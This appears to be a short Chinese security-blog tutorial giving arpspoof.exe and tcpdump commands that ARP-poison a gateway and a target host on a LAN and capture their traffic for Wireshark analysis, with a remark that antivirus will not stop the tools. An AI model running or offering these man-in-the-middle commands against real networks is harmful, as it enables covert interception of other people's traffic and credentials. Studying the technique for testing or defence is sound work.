windows 下tcpdump+arpspoof arp嗅探

  • A+
所属分类:安全博客

arp 欺骗:

arpspoof.exe /l ##列出网络接口
arpspoof.exe 192.168.3.1 192.168.3.5 80 0 1

嗅探:

tcpdump -D //查看网络接口
tcpdump -i 3 -w h.cap -s 0

-s0 表示取消抓包长度限制
否则会导致抓包不全!
win 下的 tcpdump 好处就是 无需安装wincap 纯命令行下操作
杀软不会干掉

随后便可用 wireshark 分析数据包

相关工具下载

Source:wolvez.club | Author:wolvez

相关推荐: ShadowSocks 异常之:failed to recv data in handshakeReceive2Callback

今天重装电脑,突然发现装完迅雷之后,ShadowSocks用不了了,并且日志报错: failed to recv data in handshakeReceive2Callback 最后百度了一下,发现是迅雷的服务:XLServicePlatform搞的鬼- …

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: